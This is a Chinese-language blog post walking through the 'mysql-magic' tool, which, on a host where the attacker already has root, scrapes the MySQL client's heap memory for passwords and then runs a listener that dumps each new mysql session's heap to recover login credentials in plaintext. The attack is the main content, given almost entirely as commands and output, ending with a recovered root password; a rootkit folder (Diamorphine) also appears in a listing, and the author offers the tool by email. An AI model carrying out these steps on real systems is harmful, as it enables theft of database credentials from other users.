版权声明:本文为博主原创文章,欢迎转载,转载请注明原文超链接https://www.cnblogs.com/zerotrust/p/10846530.html

本文仅限于技术讨论与分享,严禁用于非法用途。

在有root权限的情况下获得Mysql数据库密码的情况有很多,我们来使用其中一种,

  • mysql-magic

  • The mysql client read the password, then write this for some malloc'ed memory, and free it, but just because a chunk was freed doesn't mean it will be used again, to ensure that your programs not keep sensitive information in memory you must overwrite the memory.

  • The main goal is get the password passed through tty, but sometimes it also gets the password passed from command line (-pxxxxxx).

  • 首先搭建测试环境,我这里用的是centos7

[root@baoleiji ~]# uname -a
Linux baoleiji 3.10.0-123.el7.x86_64 #1 SMP Mon Jun 30 12:09:22 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
[root@baoleiji ~]#
  • 安装mariadb
[root@baoleiji ~]# yum -y install mariadb-server
[root@baoleiji ~]# yum -y install gcc
  • 启动数据库,添加用户密码
作为依赖被升级:
mariadb-libs.x86_64 1:5.5.60-1.el7_5
完毕!
[root@baoleiji ~]# systemctl start mariadb
[root@baoleiji ~]# mysqladmin -u root password niub666
[root@baoleiji ~]# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 3
Server version: 5.5.60-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
  • 渗透环境搭建好了,上传工具到被攻击机
[banxia@banxia-pc 下载]$ scp -r ./mysql-magic root@192.168.2.3:~
  • 进入mysql-magic目录编译
[root@baoleiji mysql-magic]# cd ~
[root@baoleiji ~]# cd
.cache/ .config/ Diamorphine/ mysql-magic/
[root@baoleiji ~]# cd
.cache/ .config/ Diamorphine/ mysql-magic/
[root@baoleiji ~]# cd mysql-magic/
[root@baoleiji mysql-magic]# make
  • 在内存中搜索密码并获取偏移量
[root@baoleiji mysql-magic]# ./
ignotum/ mysql-magic src/
[root@baoleiji mysql-magic]# ./mysql-magic -s
[19:40:48] executing mysql (/usr/bin/mysql) ...
[19:40:48] pid = 2764
[19:40:48] waiting syscall exit_group
[19:40:48] exit detected !!!
[19:40:48] getting heap info
[19:40:48] reading the heap ...
[19:40:48] password found
[19:40:48] offset list: 0x850
  • 启动监听模式
[root@baoleiji mysql-magic]# ./mysql-magic -o 0x850 -d /tmp -l
[19:42:53] waiting for connections

然后只要有人登录数据库就能拿到密码

[root@baoleiji mysql-magic]# ./mysql-magic -o 0x850 -d /tmp -l
[19:59:26] waiting for connections [19:59:26] new connection found
[19:59:26] looking for mysql processes
[19:59:26] getting heap address of pid 3066
[19:59:26] heap = 7f69a70d5000-7f69a7118000
[19:59:26] 274432 bytes read of 274432
[19:59:26] heap saved to /tmp/3066-7f69a70d5000-7f69a7118000.dump
[19:59:26] string at offset 0x850:
[19:59:26] finish

ps:如上软件可能因为编码会显示不出来账号密码,如果没显示出来的话可以在/tmp目录下查看

[root@baoleiji strings /tmp/3000-7f09f89cd000-7f09f8a10000.dump
<charset5.5.60-MariaDB
<copyrig!
root
niub666

出于安全的目的就不放软件链接了,学习需要的可以单独留下邮箱,我发过去。

使用Mysql-magic获取Mysql账户密码的更多相关文章

  1. python requests接口测试系列:连接mysql,获取mysql查询的值作为接口的入参

    主要思路: 连接mysql数据库,这里数据库需要使用Proxifier来设置代理,然后才能正常连接 获取mysql数据库中某一数据,作为接口的参数信息 将接口返回结果保存至csv数据表中 # -*- ...

  2. PHP获取MySql新增记录ID值的方法

    今天发现用mysql_insert_id()获取到的新增记录的id不正确, 虽然发现源代码的事务写的有问题,但是最根本的原因是,我插入数据的id类型是bigint型 获取MySql新增记录ID值的方法 ...

  3. php实例源码之获取mysql表中所有行和列

    本文章向大家介绍php获取mysql表中所有行和列的源码,主要使用到mysql_num_rows和mysql_fetch_row等php的数据库操作函数,该实例有助于大家熟悉PHP mysql数据库编 ...

  4. MySQL数据库获取多个汉字拼音的首字母函数

    需求简介:最近的一个项目,想实现如下图所示的显示效果.很明显,如果能够获取对应的汉字词组中每个汉字的拼音首字母就可以实现了,如果是固定的几组汉字,人为的拼一下就可以 了,不过项目中有多处功能需要这个效 ...

  5. shell脚本获取mysql插入数据自增长id的值

    shell脚本获取mysql插入数据自增长id的值 在shell脚本中我们可以通过last_insert_id()获取id值,但是,需要注意的是,该函数必须在执行插入操作的sql语句之后,立即调用,否 ...

  6. 获取MySql每一列的数据类型和长度默认值等信息

    如何获取MySql表中各个列的数据类型? show columns from tablename 返回结果如下: id    int(11)     NO  PRI         auto_incr ...

  7. 定时获取MySQL库的大小

    定时获取MySQL库的大小 获取数据库单个库的大小命令 [root@admin ~]# cat db_size.txt mysql -h 192.8.1.1 -uUSER -pPASSWORD -e' ...

  8. Loadrunner脚本优化-参数化之关联MySQL数据库获取数据

    脚本优化-参数化之关联MySQL数据库获取数据 by:授客 QQ:1033553122 测试环境: Loadrunner 11 Win7 64位 实操: 1.   安装MySQL ODBC驱动程序 O ...

  9. PHP获取MySql新增记录ID值的3种方法

    From: http://www.jb51.net/article/51473.htm 这篇文章主要介绍了PHP获取MySql新增记录ID值的3种方法,一般使用PHP自带函数mysql_insert_ ...

随机推荐

  1. python进阶--多线程多进程

    一.线程和进程 进程是拥有独立内存,能够独立运行的最小单位,也是程序执行的最小单位,线程是程序运行过程中,一个单一的顺序控制流程,是程序执行流的最小单位,一个进程至少包含一个线程,多线程共享进程的内存 ...

  2. Java程序员壁纸-Java开发

  3. 解决zabbix中文乱码问题

    进入Windows系统控制面板-->外观和个性化-->字体(选择一个字体文件simsun.ttc复制)进入zabbix的web服务器[root@test-zabbix]# cd ~/zab ...

  4. pytest.mark.parametrize()参数化应用二,读取json文件

    class TestEnorll(): def get_data(self): """ 读取json文件 :return: """ data ...

  5. 【ARM-Linux开发】ti CMEM使用

    1.CMEM Overview http://processors.wiki.ti.com/index.php/CMEM_Overview 2.Changing the DVEVM memory ma ...

  6. COCO数据集使用

    一.简介 官方网站:http://cocodataset.org/全称:Microsoft Common Objects in Context (MS COCO)支持任务:Detection.Keyp ...

  7. jquery清除元素的点击事件

    $("#id").css("pointer-events", "none");

  8. SQLite进阶-16.索引

    目录 索引 创建索引 查看索引 删除索引 创建索引的注意项 索引使用(Indexed By) 索引 索引(Index)是一种特殊的查找表,数据库搜索引擎用来加快数据检索.简单地说,索引是一个指向表中数 ...

  9. 【AtCoder】ARC062

    ARC062 C - AtCoDeerくんと選挙速報 / AtCoDeer and Election Report 每次看看比率至少变成多少倍能大于当前的数 然后就把两个人的票都改成那个数 #incl ...

  10. Simple Library Management System HDU - 1497(图书管理系统)

    Problem Description After AC all the hardest problems in the world , the ACboy 8006 now has nothing ...